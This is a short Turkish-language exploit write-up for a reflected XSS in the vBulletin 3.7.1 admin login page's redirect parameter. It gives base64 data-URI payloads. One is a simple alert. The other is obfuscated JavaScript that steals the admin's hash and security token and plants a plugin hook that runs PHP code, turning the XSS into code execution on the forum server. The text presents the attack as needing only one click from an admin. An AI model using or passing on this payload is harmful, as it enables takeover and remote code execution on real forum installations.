Vbulletin 3.7.1 xss açığı

İlk olarak açığın tam yerine bakalım. XSS sorgusu Admin giriş sayfasında var olmakta.Giriş scripti başka bir tarafa yönlendirme parametresi atıyor ve uyumsuz bir şekilde basit bir XSS ye izin veriyor.

http://Host/vB3/admincp/index.php?redirect=XSS}

Yalnız burada ilk görünen şey açık bir belirsizlilğe gidiyor. Ne yapmak gerekli ki açık tam olarak çalışsın. Burada yapılması gereken Base64 encode dataları şifreleme ile açığı kullanmak. Bu şekilde istek ve aktivite admin login iken ayakta kalır.

Basit bir örnek:

http:/Host/vB3/admincp/index.php?redirect=data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K

Şüphesiz Jelsoft şu zamana kadar bu tarz bir XSS sömürüsü görmemiştir. Bu durumda limitsiz ve değiştirilmez bir XSS alanına sahipsiniz ve biraz Ajax ile eğlenebilirsiniz.Fikir vermek gerekirse bunu nasıl daha büyük bir şeye çevirebiliriz. bulletin in bazı tuzakları vardır eval() in kullanımıyla ilgili. ve yeni tuzaklar eklenebilir ACP ile. JS kod yazmak sadece tuzağı etkin hale getirmez ayrıca güzel bir RFI hilesi içerir.
Aşağıda örnek bir data URI kullanımı:

data:text/html;base64,PHNjcmlwdD5ldmFsKCJ1PSdhcHBsaWNhdGlvbi94LXd3dy1mb3
JtLXVybGVuY29kZWQnO2M9J0NvbnRlbnQtdHlwZSc7ZD0nQ29udGVudC1sZW5ndGgnO3JlZz
0gbmV3IFhNTEh0dHBSZXF1ZXN0KCk7cmVnLm9wZW4oJ0dFVCcsICdodHRwOi8vbG9jYWxob3
N0L3ZCL3VwbG9hZC9hZG1pbmNwL3BsdWdpbi5waHA/ZG89YWRkJywgZmFsc2UpO3JlZy5zZW
5kKG51bGwpO3IgPSByZWcucmVzcG9uc2VUZXh0O3Q9J2h0dHA6Ly9sb2NhbGhvc3QvdkIvdX
Bsb2FkL2FkbWluY3AvcGx1Z2luLnBocCc7aD0nJmFkbWluaGFzaD0nK3Iuc3Vic3RyKHIuaW
5kZXhPZignaGFzaFwiJykrMTMsMzIpO3RvPScmc2VjdXJpdHl0b2tlbj0nK3Iuc3Vic3RyKH
IuaW5kZXhPZigndG9rZW5cIicpKzE0LDQwKTt0Mj0ncHJvZHVjdD12YnVsbGV0aW4maG9va2
5hbWU9Zm9ydW1ob21lX3N0YXJ0JmRvPXVwZGF0ZSZ0aXRsZT1mb28mZXhlY3V0aW9ub3JkZX
I9MSZwaHBjb2RlPXBocGluZm8oKTsmYWN0aXZlPTEnK2grdG87cjIgPSBuZXcgWE1MSHR0cF
JlcXVlc3QoKTtyMi5vcGVuKCdQT1NUJywgdCwgZmFsc2UpO3IyLnNldFJlcXVlc3RIZWFkZX
IoZCwgdDIubGVuZ3RoKTtyMi5zZXRSZXF1ZXN0SGVhZGVyKGMsdSk7cjIuc2VuZCh0Mik7dD
0naHR0cDovL2xvY2FsaG9zdC92Qi91cGxvYWQvYWRtaW5jcC9vcHRpb25zLnBocCc7dDI9J2
RvPWRvb3B0aW9ucyZzZXR0aW5nW2VuYWJsZWhvb2tzXT0xJytoK3RvO3IyPSBuZXcgWE1MSH
R0cFJlcXVlc3QoKTtyMi5vcGVuKCdQT1NUJyx0LGZhbHNlKTtyMi5zZXRSZXF1ZXN0SGVhZG
VyKGQsdDIubGVuZ3RoKTtyMi5zZXRSZXF1ZXN0SGVhZGVyKGMsdSk7cjIuc2VuZCh0Mik7Ii
k8L3NjcmlwdD4K

Açığı sömürmek için yapılıcak tek şey admine tek bir kez tıklatmak.